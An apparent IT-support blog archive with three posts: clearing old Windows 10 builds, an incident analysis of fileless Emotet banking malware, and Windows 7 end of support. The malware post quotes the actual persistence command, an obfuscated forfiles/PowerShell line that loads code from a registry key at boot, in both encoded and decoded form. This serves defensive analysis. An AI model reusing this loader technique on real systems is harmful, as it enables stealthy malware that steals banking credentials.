Category Archives: Windows

Remove Previous Build Versions of Windows 10

Windows 10 has changed the way we receive new versions of Windows. Previously we would get a new version of Windows every couple of years. i.e, Windows 7 -> Windows 8 -> Windows 8.1 -> Windows 10.

Windows 10 is now upgraded on a “Rolling Release”. Meaning we receive a new “build” of Windows 10 every six months. This introduces new products or features that previously we may have only gotten with a whole new version of Window.

Windows 10 allows you to rollback to the previous build if there are any issues with the install. This is an option that’s available for 14 days after installing a new build.

After this period of time, you can no longer roll back, but the files for the previous build are still sitting on your machine taking up space. It can be handy to clean up these files to keep things running correctly or if you are getting low on space.

This can be done using a tool built into Windows call Disk Clean-up.

Disk Cleanup

First thing we need to do is open Disk Clean-up. This can be done by following the steps below:

  1. Hold the Windows Key and Press R
  2. Type in cleanmgr and press enter
  3. Ensure (C:) is show in the drop down box and click OK
Select the drive you wish to clean up

Disk cleanup will now scan through files and then the main window will appear.

Scanning for files that can be cleaned up
The main Disk Clean-up window

Removing Previous Builds

Before we can remove the previous builds of Windows 10, we will need to click the Clean up system files button at the bottom of the main Disk Clean-up Window.

You will be greeted with a UAC prompt (at which you may need to enter an administrator password). Click yes to allow the application to make changes.

Again you will need to ensure (C:) is shown in the drop down box and click OK.

Disk Clean-up will again scan through some files and then take you back to the Disk Clean-up Window.

Tick Previous Windows Installation(s) in the list of items. Other items you wish to remove can also be ticked. Click OK to start the cleanup.

Select the items you wish to clean

This can take some time. Once it has finished the Window will disappear. You will need to restart the computer afterwards to finalize the cleanup.

Analyzing File-less Banking Malware

This malware appears to have originated from an email claiming to be ASIC Messaging Service. It advises the user that their business name is due for renewal . The link within the email does not take the user to the ASIC website, but instead links to a website for a community newspaper.  This website appears to have at some stage been compromised. A page had been added that automatically forwards the user to another malicious website. This is where malware was downloaded onto the clients PC.

For those who are interested in the more technical details, I wont link directly to the pages, but the Virus Total page for the original link can be found here.  The link in which it redirects to is no longer available but the Virus Total page can be viewed here.  The second link has been marked by a member of the Virus Total community as ASIC phising/malware.

I was investigating the Malware infection for a client after the fact. At the time the client clicked the link (browser history verified link was clicked) a java script file appears to have been downloaded onto the machine. Virus TotalHybrid Analysis links.

It is easy to blame the victim in these cases, but some phishing emails have become so well put together that anyone could fall for it.

The client had noticed after this time a command prompt window would flashed up on the screen upon Windows start up.

There was also a line at the bottom that I missed in the screenshot that read:

ERROR: Access is denied for “C:\WINDOWS\System32\winevt\”

At this time the clients bank contacted them to advice that their PC was infected with a Banking Trojan.

Removing File-less Banking Malware

I had no luck removing the malware with KVRT and had to proceed with a manual approach. ESET, my go to AV, did not detect the malware, nor did Windows Defender.

KVRT showed the infection as:

MEM:Trojan-Banker.multi.Emotet.gen.

Upon inspecting the startup, a command that utilizes a trusted Windows executable file, was set to run each bootup.

The command was:

forfiles /s /p C:\WINDOWS\System32 /m p*ll.*e /c “cmd /c @file -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAXABJAGQAZQBuAHQAaQB0AGkAZQBzAFwAewA0ADYANABBAEUARABGADUALQAwADUAQwA3AC0AQgA2ADYAMQAtADEANwAxADIALQBBADkANQA5ADcAOAAyADkAQgBFADQARAB9ACcAKQAuAFQA”

When the text is decoded the command is:

forfiles /s /p C:\WINDOWS\System32 /m p*ll.*e /c “cmd /c @file -ec iex (gp ‘HKCU:\\Identities\{464AEDF5-05C7-B661-1712-A9597829BE4D}’).T”

Base64 text can be decoded using Certutil found in C:\WINDOWS\System32\

i.e. certutil.exe -decode encoded.txt decoded.txt

Base64 can also be decoded using an online service such as https://www.base64decode.org/.

Forfiles has been set to run each start up and load the malware from the registry into the memory. This avoids it writing to disk and helps to prevent detection.

While I didn’t analyse exactly what EMOTET was doing, banking malware is designed to steal login credentials. The password is captured when you log into your bank and is sent back to a server that the attacker controls. Often with banking malware screenshots are taken to allow the attacker to capture other information such as funds available and account numbers.

Protecting yourself

Antivirus is not the magical safe guard it is often made out to be. It is still a great idea to have some kind of antivirus running on your device, but there are other task you can do to protect yourself or your business.

Train against phishing – It is simple for most home users; don’t click links, and avoid attachments from people you don’t know. But for business users, it is a littler harder. Many staff members jobs involve clicking links and opening attachment. This is why user training is important. Take a Phishing IQ Test.

Remove administrator privileges – I have covered this previously. Taking away administrator privileges can often limit what foothold malware can gain on your device.

Keep your software up to date – Some malware will exploit known vulnerabilities in your operating system or software. Windows users can install updates for the Operating System via Windows Updates (Windows Key + R, type control update, press enter, and click Check for updates). Software can be easily updated using Patch my PC.

Ask for help – If you receive an email that does not seem right, call a trusted friend or ask a colleague (If your business has in house IT staff start here). Sometimes talking out loud will help you tell if something is genuine or not.

Read our other articles and share will your friends – I have covered many other tech tips topics. Read them and share them with your friends.

Windows 7 End of Extended Support

Windows 7 was first released to the public on October 22nd, 2009. As with most software released by Microsoft, it’s life cycle is roughly 10 years.

Microsoft support their products for the first 5 years under mainstream support. The software will receive new features, complimentary phone support, and patches for vulnerabilities. Mainstream support ended for Windows 7 on January 13th, 2015. The product then moved into extended support.

With extended support, the product continues to receive patches for vulnerabilities to keep the device secure. The software no longer receives new features and users no longer receive complimentary phone support. Extended Support for Windows 7 will continue until January 14th, 2020 – which at time of writing is about 14 months.

Windows 7 will still work after extended support ends, but you will be left vulnerable to any zero-day vulnerabilities that are discovered after the support cut off.  A cyber criminal could exploit these vulnerabilities to gain access to your personal data, or use your device and bandwidth for illegal activities.

What should you do?

Plan to upgrade well before the extended support period ends. If you had opted in to receive Windows 10 upgrade when it was first released, installing this now would be your cheapest option to stay up-to-date.

Windows 10 can be purchased and installed via an in-place upgrade if you missed the free upgrade. This varies in price depending on the version you require.

Any device that runs Windows 7, should run Windows 10. If you find your devices is getting slow it may be a good time to look at upgrading your device to something with higher specs that already has Windows 10 installed.

If buying a new device is out of your range, there are plenty of lightweight Linux distributions available. Linux Mint, or Lubuntu are both easy to use and work well on older hardware. Linux distributions come packed with plenty of software, so you can hit the ground running.

Whatever route you take, don’t leave it to the last minute. Start planning your upgrade now to ensure that you are going to keep your devices secure and safe from malware or cyber criminals.